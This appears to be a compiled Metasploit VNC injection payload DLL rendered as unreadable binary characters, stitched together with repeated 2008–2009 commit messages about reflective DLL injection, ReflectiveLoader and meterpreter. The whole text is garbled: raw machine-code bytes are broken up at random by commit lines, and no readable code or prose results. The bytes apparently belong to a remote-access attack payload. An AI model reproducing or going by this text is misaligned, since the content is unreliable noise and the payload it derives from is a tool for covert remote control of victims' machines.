ƃĉE¼j�E¨PèS¨…À„Æ�…Pè¨ÊY‹KTP�…Pè.¨‹K\…À„¡‹ÿPT‹K\‹ÿP$‹È‰EÔèΣÿÿ‹C\¸3ÿP�M܉}üè*¿ÿÿ‹C\�ˆ”‹�UÜRÆEüÿP�MÜÆEüèG»ÿÿ‹MÔƒMüÿè’£ÿÿ‹C\9xtjèjóÿÿh‘è`óÿÿYYj‹Ëè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ªÿÿ3öF‰uÜèæ¡…ÀuW訡Y…À„Ï‹KTV�EàPèç…À„º¶Eà+Ç„CHH„rH„_H„ìH„ƒH…Š‹KTj�EáPè}§…À„Y‹Eä‹ð‹ÈÁé�æÿ ñ‹ÈÁá%ÿ ÈÁáÁî ñ�FPè/Ô‹øY…ÿ„VÆ7‹KTWè-§W…Àu èyÓYé‹KX‹ÿ�¨Wëç‹KTj�EáP觅À„Ý‹C\9x „ÑfÁEâf‹MâfÁEä¾€f;ˆŽu
f‹Mäf;ˆ�t¾€Š€�2Eá¨t,jÿˆRj…ÀXtöEá”À�Åë öEá”À�D ð‹C\Š€�ŠMáŠÐ€á€â:Êt3Ò„É”ÂJƒâàƒÂ@ ò2Eá¨t,jÿˆRj…ÀXt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
öEá”À�DëöEá”À�Å ðöEát jx�Î_öEát jˆ�Î_·Eä‹K\iÀÿÿ™÷¹ÄjWP·EâiÀÿÿ™÷¹ÀPVÿŒR‹{\�ÇŒ�uà¥f¥‹C\ǀ̋C\‹@`‹H,ègé‘‹KTj�EáP蟥…À„{‹C\9x„o‹Mä‹Á‹ÑÁê%ÿ ‹Ñ�áÿÁâ ÑÁèÁâ €}á‰Eä•Á¶ÉQPè?z‹C\YY‰°Ìé%‹KTj �EáPè3¥…À„*f‹Eâf‹Mäf‹UæfÁÀ·ÀfÁÁfÁ‰E˜·ÒÐf‹EèfÁÀ·É·ÀÁ‰E¤�E˜‰MœP�M؉U èÍ»ÿÿ�MØÇEüè¹ÿÿ„À…¿‹K\‹ÿP$‹È‰MÔè2 ÿÿ‹K\�EØP�EȾ´PÎÆEü蚸ÿÿ‹K\PÎÆEüè•»ÿÿ�MÈÆEüè­·ÿÿ€}áu$‹C\�ˆ”‹�UØRÿP�E˜P‹C\‹@`‹H,èÜ ‹K\èÙ÷ÿÿ‹MÔÆEüèÆŸÿÿƒMüÿ�MØèc·ÿÿé‹KTj�EáPè'¤…À„‹K\‹ÿPP‹C\fÁEâ�ˆ”‹W3öÿP 3Àf;Eâsw‹KTj�EÌPè룅Àt]‹MÌ‹Á%ÿ‹ÑÁê ‹ÑÁâ�áÿ ÑÁèÁâ ƒøu‹C\�ˆ”‹jÿP ë…öu‹K\PƒÁè‘éÿÿ…ÀtF·EâG;ø|“ëƒeÜ…öu^‹K\jƒÁèléÿÿ…ÀuM!EÜëH‹KTj�EáPè^£…ÀtYfÁEèfÁEê‹K\fÁEì‹ÿPP‹K\�EäPƒÁèŽõÿÿ…Àu‰}Ü‹C\‰°È‹K\‹ÿPT3ÿ9}Üt3öFé%ûÿÿƒMüÿ�MØè*¶ÿÿÿuÐ讜Y‹K\‹ÿPP‹C\‹ˆ°;ÏtèÆëÿÿ‹C\‹ˆ°WèZ¤ÿÿ‹K\‹CX‹0‹ƒÆ\ÿPL‹KX·ÀPÿ‹Môd‰
Y_^[‹�@3Íè«¿�ÅDÉÂU‹ìƒìV‹uWVÿv ‹ù�Mðè°¹ÿÿ‹Eð‰Eø‹Eô‰Eüë�Møèë¶ÿÿP‹ÏèËñÿÿ…Àt-�Møè·ÿÿVÿv�Mðèz¹ÿÿ�EðP�MøèÔ‚„ÀtÈ3À@_^ÉÂ3ÀëöV‹ñW�~ ‹Ïè`åÿÿÿ7èñ¿Y‹ÎèQåÿÿÿ6èâ¿Y_^ÃjD¸ Aè¿‹Ù‰]è�M°è^åÿÿ‹Mƒeüjj�E°Pè÷Áÿÿ„À„èƒ{„Þ¶C(·K$Áè¯È‰Eð�E°Pÿu¼‰M�MØèÓ¸ÿÿ‹E؉Eà‹E܉Eä�E°PÿuÀ�MØ踸ÿÿ�EØP�Màè‚„À…Œë‹]è�Màèèµÿÿ‹ð�}È¥¥¥¥‹E̯E‹MȯMð‹uÐ+uÈÁ‹KH¯uð‹y$‹[øØ‹EÔ9EÌs+ẺEìVWSèÉ}]ƒÄ ÿMìuê�Màè˵ÿÿ�E°PÿuÀ�MØè,¸ÿÿ�EØP�Màè†�„À„vÿÿÿ�M°è!äÿÿÿu°è±¾Y舾Âj¸CAèÚ½‹ñ‰uðè+äÿÿ3À�N ‰Eü‰F‰Fèäÿÿ‹ÆèU¾Ãj¸=詽‹ñ‹E‰FHèÝñÿÿ·F&P·F$Pjj�Mè·ÿÿƒeüP‹Îè^þÿÿƒMüÿ�Mèx³ÿÿè¾ÂƒÁé©ÿÿÿjP¸fAèR½‹Ù‹u‹‹ÎÿP(„Àt
3ÀèÚ½Â�M¤èJÿÿÿ‹ƒeü�M¤Q‹ÎÿP‹‹ÎÿP,‹u´+u°�EÄPÿuÐ�MäÁþè·ÿÿ‹Eä‰Eì‹Eè‰Eðë�MìèV´ÿÿ‹KX‹PÿR �Mìðè‚´ÿÿ�EÄPÿuÔ�Mäèã¶ÿÿ�EäP�Mìè=€„ÀtÆ…öu
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
�M¤èjýÿÿégÿÿÿ‹ÆÁø%ÿÁæ Æf‰E
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
j�EPj‹Ëè©îÿÿ…ÀtÍ‹E´+E°©ðÿÿÿ„�‹u¼‹}À�E¤Pÿu°�Mä÷Þ÷ßèr¶ÿÿ‹Eä‰Eì‹Eè‰Eðë;�Mìè­³ÿÿ‹‹@ÇΉEà�E܉MÜP�Mìè’³ÿÿP‹Ëè™îÿÿ…À„bÿÿÿ�Mìè¹³ÿÿ�E¤Pÿu´�Mäè¶ÿÿ�EäP�Mìèt„Àt¦�EÄP‹Ëè6üÿÿ3ö…Àu�M¤è”üÿÿ‹Æé‘þÿÿFëîjl¸ãA軋Ù3ÿW�Mˆ‰}ìèóÀÿÿ�Mä‰}üèo±ÿÿÆEü‰}èÆEœ‹KT‹ÿP$‹È‰MØèã™ÿÿ‹KT�EäP�EÔ¾´PÎÆEüèK²ÿÿ‹KTPÎÆEüèFµÿÿ�MÔÆEüè^±ÿÿ9{`t}9{dtr‹CT�ˆ”´P�EÌP‹ÿP ‹Èèä±ÿÿƒMì‹ÈÆEüè>²ÿÿ„ÀtF‹CT�ˆ”´P�EÐP‹ÿP$‹Èè²±ÿÿƒMì‹ÈÇEüè ²ÿÿ„Àt‹CT9¸ÐuÆEóëÆEóöEìÇEüt ƒeìý�MÐè¿°ÿÿöEìÇEüt ƒeìþ�MÌ覰ÿÿ€}ót‹K\莙ÿÿ‹KXèC¡ÿÿé-ÿÿÿ9{`„‹CTÈ‹‰8‹CTƉMÈP�MäèA´ÿÿ‹KTÎèd°ÿÿ‹CT9¸Ðt Ћ‰Mè‰8‹CT�UäR�ˆ”‹�UˆRÿP‹CT9¸ˆ„È�ˆ¸Q�M°Q�Hxè;âÿÿ‹{TƒÇx‹ð¥¥¥¥‹CT�px‹Î蛯ÿÿ„Àu%V�Mà觳ÿÿ�EàP�MˆÆEüèØ¿ÿÿ�MàÆEüèʯÿÿ‹CT�HxQ‹H`è
Ýÿÿ‹CT�ˆ¸Q�M Q�HxèÔáÿÿ‹{TƒÇx‹ð¥¥¥¥‹CT�px‹Îè4¯ÿÿ„Àu%V�MÜè@³ÿÿ�EÜP�MˆÆEüèq¿ÿÿ�MÜÆEüèc¯ÿÿ‹CTƒ ˆ3ÿ‹KT�EŒPƒÁè"úÿÿ‹MØÆEüè“—ÿÿ9}è„›ÿuèè!¾ÿuè‹ø�çÿ辋ðÁî ÷‹}èWÁîèþ½‰Eè�eèÿWèKTÁà EèƒÄÁà ƉEÄj�EÀPjèïêÿÿ…Àu ‹CT‹HhèÖ˜W踽YP‹CT‹HhWèA›…Àu ‹CT‹Hh賘Wè̃eèY3ÿ9}Èt‹KTèáëÿÿ‹KT�EˆPèûÿÿ…À„Ñüÿÿ�Mäèx®ÿÿéÄüÿÿ‹MØÆEüèµ–ÿÿ�MäÆEüèR®ÿÿƒMüÿ�Mˆè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
¾ÿÿ3ÀèԸ‹‹D$;u
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‹I;Hu3À@ë3ÀÂj¸Bè
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
¸‹ñ‰uð‹Eÿu ƒeü�NÇ„U‰FèÀ­ÿÿ‹Æ肸Âj¸BèÔ·‹ñ‰uðÇ„Uƒeü�NèÇ­ÿÿÇTèQ¸Ãj¸=襷ƒeü�EPƒÁè{±ÿÿƒMüÿ�Mè“­ÿÿè#¸ÂV‹ñè™ÿÿÿöD$tVè.¸Y‹Æ^Âj¸­@èY·‹ñ‰uðjjès›ÿÿƒeü�N\ǘUèf•ÿÿƒft‹ÆèÍ·Ãj¸3Bè!·‹ñ‹E ƒf|‰FT‹Ej$‰FXèbºY‹È‰M ƒeü…Ét �F\PèZ•ÿÿë3ÀƒMüÿ‹Î‰FtèÚ¡ÿÿ�~\‹Ï‰} è+•ÿÿÇEüë‹Ntè~�ÿÿƒ~|tòƒMüÿ‹Ïè•ÿÿ‹FxèG·Âj¸e@虶‹ñ�~\‹Ï‰}ðèã”ÿÿ‹E‹NtƒeüÇF|‰Fxè•ÿÿƒMüÿ‹ÏèÇ”ÿÿè·Âj@¸^B軶‹}‹] ‹ñ‹NT‹ÿ� …Àt‹NT‹ÿP,…À„Õ‹FX‹H4‹ÿ�˜…Àt=j�EÜPSÿtR…Àt,�EÜhÀUPèúàYY…Àt�EÜh¬UPèæàYY…À…†�EÄPSÿxR…Àtw‹EĉE´‹EȉE¸‹ẺE¼‹EЉEÀ‹FXƒÀpP�EàP�M´èÛÝÿÿ�MàèL«ÿÿ„Àu@�EàP�MØèU¯ÿÿƒeüP�EÔP‹ÏèV¬ÿÿP‹ÏÆEüèT¯ÿÿ�MÔÆEüèl«ÿÿƒMüÿ�MØè`«ÿÿèÂj¸ŽBèBµ‹ñ‰uð�NèUÖÿÿ3ÿ�NX‰}üèU“ÿÿ‰~p‰~t‰~x‰~|�†à‰8‰x‰x‰x �†‰8‰x‰x‰x �†‰8‰x‰x‰x ‰~8‰~<‰~@‰~D‰¾Ø‰¾ð‰¾ô‰~P‰~L‰~T‰>‰¾‰¾ø‰¾ü‰~H‰¾‹Æè=µÃ‹D$·P V·pÁâ ÖR·P·Áâ ÐRÿ5¤óÿq<ÿpR^Â��ô3Ò9uRRhÿq<ÇÿpRÃV‹ñ‹F@W3ÿ;ÇtPWÿdR‹F<;ÇtÿvDPÿhRÿv<ÿlR‰~<‰~D9~Pt‰~P9~Lt‰~L9~Tt‰~T3À_@^ÃèÓ�…Àt3À@Ãjè��YÃU‹ì�ì¡Dá3ʼnEüV‹uh�…üþÿÿPVÿtR…Àt"�…üþÿÿhÄUPèŸÞYY…Àu PPjVÿpR‹Mü3À3Í@^èq³ÉÂU‹ì�옡Dá3ʼnEüW�…hÿÿÿPÇ…hÿÿÿ”ÿTP…Àth‹…xÿÿÿHVt@HuZh�3öVVhÜUÿPR‹ø;þt@Vh"~WÿTRWÿXRjVjjÿ\Rë3öVhÄUÿ`R;Æt VVjPÿpR^‹Mü3Í_è˲ÉÃU‹ìƒìSj‹Ùÿ¨R‰CP…À„V‹50PWj
PÿÖƒeìƒeðjÿsP‹øÿÖÿsP‰}ø‰Eô�{p�u쥥¥¥ÿ4P3ÿ‰CL;Ç„‹‹50Pj&ÿsPÿÖ¨tzj&ÿsLÿÖ„Àyoÿs|ÿsxÿsPÿ8P‰CT;ÇtYh0�ƒ€WP‰Eüè�ÁƒÄ W�³„VWjWÿsT‹=@PÿsL3ÀÇ(f‰ƒ’ÿ×…Àt3ÀPVPjPÿsTÿsLÿ×…Àu3Àë.�³Œÿ6è,ßYj&ÿsL÷؉ÿ0P‹Uü‹ÈÁé3À÷Ñ@#ȉ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
_^[ÉÃSVW3ÿ‹ñ3ÛG‰žü9ž€u‰¾ü·†’HtHƒètCƒè…‘j Xf‰†’‹Çf‰†�‹†Œ¯†ˆÁà™ƒâÂÁøP‰ž”è˜ÞëJ‹Çf‰†�jXf‰†’‹†Œ¯†ˆÁà™ƒâÂÁøP‰ž¤‰ž”èXÞ‰ž¨‰ž€‰¾ü‰†˜Y‹Ç_^[ÃV‹ñƒ¾øujÿvLÿ0Pƒøt3À^ʆ€f‹Nxf+Npˆ†·f‹F|f+Ftf‰Ž°f‰†²Š†’ˆ†´ˆ†µ¶À·É¯Á™ƒâÂÁø‰†Ô3ÀƆ¶@^ÃU‹ì�ìSVW‹ùƒ¿€……ƒ¿ø……hèÀ‹ØY…Ûu3Àéc¸f‰¾‹Æf‰C�CPVjÿwPÿ<PS…Àuè3¿YëÉÿP‹ð…öuSëéjVÿwLÿ PS‹øè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
¿Y…ÿu Vÿ$Pë˜Wÿ$Péó�…ü÷ÿÿP¾VjÿwPÿ<P3Ò…Àv<‹ÊÁኜ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ü÷ÿÿˆœ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
þûÿÿŠœ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ý÷ÿÿˆœ
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ýûÿÿŠœ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
þ÷ÿÿBˆœ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
üûÿÿÆ„
ÿûÿÿ;ÐrÄ‹È;ÆsB‹Ñ€â‹ÁÁàöÚÒˆ”þûÿÿ‹Ñ€âöÚÒˆ”ýûÿÿ‹Ñ€âöÚÒAˆ”üûÿÿÆ„ÿûÿÿ;Îr¾ÿwPÿ4P‹Ø…Û„×þÿÿÿwT‹=(PSÿ׉Eü…À„Àþÿÿ�…üûÿÿPVjSÿ,P…À„§þÿÿÿuüSÿ×…À„™þÿÿ3À@_^[ÉÃSUVW3íU‹ñU�¾øWU�†„PÿvLÿP‹Ø;Ýu‰/ë‹FT;Åt
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Pÿ$P‰nT‰^T_^][Ãj¸³Bèp®‹ñ‹Ehj‰F4ÿLRh€‰†Ü‰†Ø蟱Y‹È‰Mƒeü…ÉtèÍöÿÿë3ÀƒMüÿ…Àtÿv4‰F8‹V‹ÈÿR è²®Â�´·‘²·‰°Áè¯Â¯ÁÃj�Á°Qÿt$ 诸ƒÄ ‹D$VW�±à‹ø¥¥¥¥_^‹D$…Àu‹�܉�ØÂU‹ìQSVWÿu‰Mü虲‹Ø�DPèW½YY3ö3É‹ø…Û~‹EÁ€8
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
uÆ>
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
FŠˆ>FA;Ë|æ‹EüÆ>ÿp<ÿ<R…Àt=ÿ@R…Àt3FVh ÿ`P‹ð…öt Vÿ\PWPèˆÚYYVÿXPVjÿDRWèG¼YÿHR_^[É‹T$‹D$ 2ɈöÂu ÑêþÁöÂt÷ˆ‹D$f‰ÃU‹ìQW‹ùÿP‹‡ø9E „¸‹—ÔS·Ÿ²V‹u‹F ‹N+دÊ+FM ¯Âƒ¿ø‰M ‰‡˜u j�‡„P‹F +FQPSÿwTÿwLÿ@Pë^¶‡´‹^‹¯ÚÁè¯ÈM Ù‹N+Ÿø¯È‹F;F ‰Mü‰E}(ë‹MüQSÿu èõ¶‹‡ÔE ØƒÄ ÿE‹E;F |Ú^[_É jh¸ÖBèù«‹Ùÿ˜R‹ð�ƒV;0tM‰0ÿ8R…À„½�E¬PVÿxR…À„ª‹E¬‰E¼‹E°‰EÀ‹E´‰EÄ‹E¸‰EÈ�»�u¼¥¥¥¥éœ3ÿ‰}̉}Љ}Ô‰}Øÿ8R…À„d�E¼PVÿxR…À„Q�ƒ‹‰MÜ‹H‹ð�}œ¥¥¥‰Mà‹M¼‰Mä‹MÀ‰Mè‹MÄ¥‰Mì‹MȉMð�uä�}Ì¥¥¥¥‹ø�u䥥¥�MÌ¥èÍ ÿÿ„À…�Mœè½ ÿÿ„À…�EÌP�MÜèÅòÿÿ„À…ô‹EÀ+Eà‹È‹E¼+E܉Mà‰EÜ�CpP�EœP�MÌèÓÿÿ‹ð�}Ì¥¥¥�MÌ¥èl ÿÿ„À…·‹Eà‹MÜ÷؉Eð�CpP�EœP�Eì÷ÙP�EŒ‰MìP�MÌèvËÿÿ‹Èè¼Òÿÿ‹ð�}Ì¥¥�EÜ¥P�EŒP�MÌ¥èVËÿÿ‹ð�}Ì¥¥¥�MÌ¥è  ÿÿ„ÀuZ�EÜP�EÌP�KèÀÌÿÿ�EÌP�Mðè¤ÿÿ‹M‹ƒeü�UÜR�UðRÿPƒMüÿ�Mðè# ÿÿë3À‰ƒ3ɉ‹‰‹$‰ƒ 蕪ÂU‹ìSVjëÿuÿ R‹ð‹E ƒè„Oƒèi„:-ŠtIƒètƒè„1^[]ÿ% R‹FD9Eu ‹E‰FDé/…À„'ÿuÿuh
Pÿ$RéW‹~<ÿ(R3Û;Ç„¸9„°9^H„§ÿv<‰]ÿ<R…À„“jÿ,R‹ø;ût!Wÿ\P;Ãu‰]ë
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Pè�ƒY‰EWÿXPÿHR9]tYÿu讋Ø�CPèc²‹ø3À;ØYY‰E~‹M‹UŠ €ù
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
tˆ 8@ÿE9]|æÿuÆ8èú²Y‹N4‹WÿPtWèê²Y3ÛÇ‹vD_;ót6SShVÿ$Rë(džðë‹Îèøÿÿ…ÀuPÿ0R‹N4‹ÿPx3À^[]Âj¸CèX¨‹ñ‰uðǘU‹~tÇEü…ÿt‹Ïè†ÿÿWèô¨Y�N\ÆEüè`†ÿÿƒMüÿ‹Îè‰ÿÿè´¨ÃV‹ñè¨ÿÿÿöD$tVèÁ¨Y‹Æ^Âj¸5Cè짋ñ‰uð3ÛÇEü9^8t‹F<SSjPÿpR‹N8�EìPè+Œÿÿ‰^8‹Îènóÿÿ�NXˆ]üèå…ÿÿƒMüÿ�NèÑÈÿÿè8¨ÃSV‹ñ·Ž’W3Û3À3ÿƒùt.ƒù t9ž€”Àé�‹Ž”;Ëu*¸ÿ¿ÿ»ÿë0‹Ž”;Ëuj¸|¿à[ëƒùu‹ž´‹¾°‹†¬�Ž¾Q�Ž¸QPè
úÿÿ�†¿P�†ºPWèùùÿÿ�†ÀP�ƼVSèåùÿÿ3ÀƒÄ$@_^[ÃU‹ìƒì0SV3öW‹Ù¿lUf95 óuQ¡lVÇEÐ0‰uÔÇEØ
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ˆ‰u܉uà‰Eä‰uè‰uìÿP‰Eð�EÐP‰uô‰}ø‰uüÿRf£ óf;Æu3ÀëLVÿ5l¸€VVhÈh�PPhÏhìUWVÿR‰C<;ÆtÉSjëPÿ¤Rÿs<ÿ°R‰CD3À@_^[ÉÃU‹ìQS‹(PV‹ñÿvTÿvLÿÓ‰Eü…ÀtJW‹}‹G‹‹W h ÌPQÿvP+ÐR‹W+ÑRPQÿvLÿ Pÿuü‰EÿvLÿÓƒ}tÿu‹Îÿu WèÜøÿÿ_^[É U‹ìƒì0SW‹Ù3ÿ9»Ø„ÿ�EôPÿ R…À„íV�EÐPÿ³ØÿR…Àt&‹EÔ)Eô‹EØ)Eø‹5$P9}ÜtÿuÜÿÖ9}àtÿuàÿÖÿsT‹5(PÿsLÿÖ‰Eü;Ç„˜jWWWWÿ³ØÿuøÿuôÿsLÿRÿuüÿsLÿÖ‹Eô‹Mø‹5ˆR�»àj‰‰O‰Eì‰MðÿÖj
‰EüÿÖ‹Mì‹UüÁ‹Mð‰ƒè�CpÊP�E䉋ìP‹ÏèûÌÿÿ‹ð¥¥¥¥�³à‹Îèašÿÿ„Àuÿu ‹ËÿuVè¿÷ÿÿ^_[ÉÂU‹ìƒìV‹ñè ñÿÿ‹Îè�ðÿÿ…Àu3À颋Îè—ñÿÿ…Àtî‹Îè®òÿÿ…Àtã‹Îè˜õÿÿ‹Îèióÿÿ…ÀtÑ‹Îè¯üÿÿ…ÀtÆ‹ÎèÓóÿÿ…Àt»‹ÎèTýÿÿ…Àt°‹N4‹Wjÿ�”3ÿWhújÿv<ÿœRV�N‰F@èèÇÿÿ‹Fx‰Eø‹F|™‰}ð‰}ôƒâÂ�¾Áø‰Eü�u𥥥3À¥@_^ÉÃUƒìphŒ¸ØCè¾£‹Ùÿ`QPÿ|R‹KX‰E\èÿÿÿ…Àuÿu\è.€‹Yj‹ËÿP鯋3öFV‹ËÿP‹CX3ÿW�M̉pH讨ÿÿ‹CXƒÀpP�MX‰}üè&�ÿÿ�EXP�EÌP�MÆEüè1ëÿÿ�MXÆEüèE™ÿÿ‹CXƒÀpP�MpÆEàèóœÿÿÆEü‰}P‰}T‰ul‰}h3ÿGW3öVVV�E°PÿüQ…À…9ult‹EhÿEh‰ulƒøs
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
jÿtQëÈ‹CX‰°ô‹CX‰uh9°ðu
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
訅À…ç‹sX‹CXjY�Æ°�}ˆó¥ƒ ð‹KXèRîÿÿ…À„n‹KXèóýÿÿ…À„^‹CXf‹ˆ°f;Mˆ…Jf‹ˆ²f;MŠ…9j�MŒQ´Pè�µƒÄ …Àt‹KT‹ÿP|‹CXQƒÀp‹Ì‰e4Pèõ›ÿÿ�Mèqêÿÿ‹CXƒÀpP�M èÞ›ÿÿP�EHP�MpÆEüèÞ˜ÿÿP�MpÆEüèÛ›ÿÿ�MHÆEüèó—ÿÿ�M ÆEüèç—ÿÿ‹KT‹ÿPx‹CX‹H4‹ÿP(…À„¶‹CX‹H4‹ÿ��…À„•‹sX‹KX�Æ�} ¥¥ƒe¥¥‹�¯� ‰E�EP�…xÿÿÿP�M è^Âÿÿ‹ð�} ¥¥¥�E P�M@¥è(›ÿÿP�EP�MpÆEüè(˜ÿÿP�MpÆEüè%›ÿÿ�MÆEüè=—ÿÿ�M@ÆEüè1—ÿÿ‹CX‹Aƒá‰‹CX‹H4‹ÿ�ˆ…Àtÿ˜R…Àt P�EpP‹Ëè‘êÿÿ‹CX‹H4‹ÿ�€…Àt*�EäPÿ R…ÀtÿuèÿuäÿR…Àt P�EpP‹ËèUêÿÿ�EìP3ÿÿ R…Àtl‹Mì‹Eð;MPu;ETt\‰ET‹CX�°à‰MP3ÿ‹ÎGè,–ÿÿ„Àu?V�M8è8šÿÿP�EP�MpÆEü è8—ÿÿP�MpÆEü
è5šÿÿ�MÆEü èM–ÿÿ�M8ÆEüèA–ÿÿ‹sXƒÆX‹Î‰u4è€~ÿÿ‹KX�EPÆEü èôÿÿ‹KX�EpPƒÁè�Æÿÿ‹KXƒÁèÒÅÿÿ…ÿt^‹CX‹H4‹ÿPp‹CX�¸à‹Ïè�•ÿÿ„Àu?W�ML蜙ÿÿP�EP�MpÆEü 蜖ÿÿP�MpÆEü
è™™ÿÿ�MÆEü 豕ÿÿ�MLÆEü 襕ÿÿ�EÔP�E`P�Mp芖ÿÿ�EÔP�MpÆEüèa™ÿÿ�Mdè;•ÿÿ‹KX�E`P�EdPƒÁÆEüèîÆÿÿ�EdP�Mèe£ÿÿ‹KT‹ÿPlP�MÌèc¦ÿÿ�MdÆEüè=•ÿÿ�M`ÆEü è1•ÿÿ‹ÎÆEüè}}ÿÿ�MÐè'•ÿÿ�MÔè•ÿÿÿR…À…æûÿÿéÞ‹E´;¤ó…›‹E¸¿M¸Á蘉E(‹E¼Á蘉E0‹CX‰M$¿M¼ƒÀpP�…hÿÿÿ‰M,P�M$èëÆÿÿ‹ð�}$¥¥¥�M$¥èS”ÿÿ„ÀuB�E$P�M<è\˜ÿÿP�EDP�MpÆEüè\•ÿÿP�MpÆEüèY˜ÿÿ�MDÆEüèq”ÿÿ�M<ÆEüèe”ÿÿÇElé7ûÿÿ;¨óu
ÿu¸‹KXèzðÿÿëƒøt�E°PÿR‰}lé ûÿÿ‹KT‹ÿP‹CXƒ`H‹KXèÅéÿÿèOFÿu\è•zY�MpÆEüèü“ÿÿ�MÆEüèæÿÿƒMüÿ�MÌ訣ÿÿ3À‹Môd‰
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
Y_^[ƒÅtÉÂVW‹ñè—jX3ÿWÇ<V‰~D‰~H‰FL‰FPÇFdÇFh2èA¬P茬YY‰~l‰~T‰~X_‹Æ^ÃV‹ñ‹FDÇ<V…Àt P蚬ƒfDY‹Î^étU‹ìƒìƒeðƒeôS‹] V‹ñ‹W‹}�MðQ‹Î‰}ø‰]üÿP ‹È¶F kÉ ¯Ç¯Ã_Áè^Á[ÉÂU‹ìƒì SV‹ñ3ÛW9^l„Ÿ‹F`‹NX¯FT¯N\‰^l;Áw^‹Nd‹FhÁƒø_ƒø}jëƒø_~j_X‰Fh‹FL�¸ÿj_;Ðw ;×s‹×ë;Ðv‹Ð‰VL‹VPÊ;Èw;Ïs‹Çë;Èw‹Á‰FP蘫™jcY÷ù3À;VhœÀ�Dÿ‰Fd‹FT‰F\‹FX‰F`‰^T‰^X‹E‹x ‹X‹NP‹×+Ó;Ñ‹v<‹P‹FP‰MàÉMð�Mð‰Eì‰Eô‹Q‹Î‰Uè‰]ä‰Uø‰}üÿP �Mà‹ø‹Q‹ÎÿP ÇëA‹x‹VL‹ß+Ù;Úv0‰MðÊ‹P‹@ ‰Mø‰Mà�Mà‰Eü‰Eì‹Q‹Î‰Uô‰}è‰UäÿP �Mðë´3À@_^[ÉÂVW‹|$Wÿt$‹ñÿt$‹ÿP‹O+‹W +W;NLw;VPv¶~ FT¯ú¯ùÁïƒÇ ~XÇFl_^ U‹ìƒìSV‹u‹V ‹FW‹ù‹OP+Ð;ÑvX‹ȉMü�MðQÿu ‰Uð‹Vÿu‰Eô‹‹Ï‰UøÿP‹Ø‹‰Eð‹F‰Eø‹GPF�MðQ‹M ˉEô‹F Qÿu‰Eü‹‹ÏÿPÃëS‹‹^‹WL+Ù;Úv7щMð�MðQÿu ‰Eô‹F ÿu‰Eü‹‹Ï‰UøÿP‹Ø‹GL‰Eð‹F‰Eø‹Fëš‹Vÿu ‹ÏÿuÿP _^[É ¶D$‰AL¶D$‰APÂU‹ìQS3Û‰]üƒøt1ƒøu·ëgƒø u‹ë^PhˆVè̓À@PèÞËƒÄ jèKËWº3À‹Ê¿°óó«3É9M_~$1;Â}"�…°óÿ‹;Eü~Š1‰EüA;M|ܶÃ[ÉÃPh|Vh`Vè�̃À@Pèx˃Äë˜V‹ñèqüÿÿöD$tV蟚Y‹Æ^ÂU‹ìƒì4SV‹uW‹}‹Ç¯EP3Û‰EÌjX‰]à‰]ô‰]Øèÿÿÿ3öY‹M F9]ˆEЈ‰5°÷Ž•‹E‰Eìƒeø…ÿŽv‹Eì‰EÜ‹Eì‹MøŠˆUÿ:UЄI;]‹û�KÿÇEÔ‰}ä}_‰EèëŠUÿ‹}ø88uL‹Ç;E} ‹}è@8tò‹}äH;ûu‰Eà‰Eô;Eô}‰Eôƒ}Ô~;Eà|AëƒeÔ‹EèEG;}‰}ä‰Eè|«ë‹}ä‹Eà+Eø+Ë@A‰MÔ‹Mô+Mø‹UÔ+û¯ÐA‰}ä¯ù;×~‰Eè‹EÔë‹Eä‰Mè‰EäŠEøˆEðŠEèˆEòŠEäˆEó�F;Ë]ñ�¥;E�œ‹E ŠMÿÿE؈ Fj�Mð‰5°÷QðVè=£‹5°÷‹EäƒÆÃƒÄ 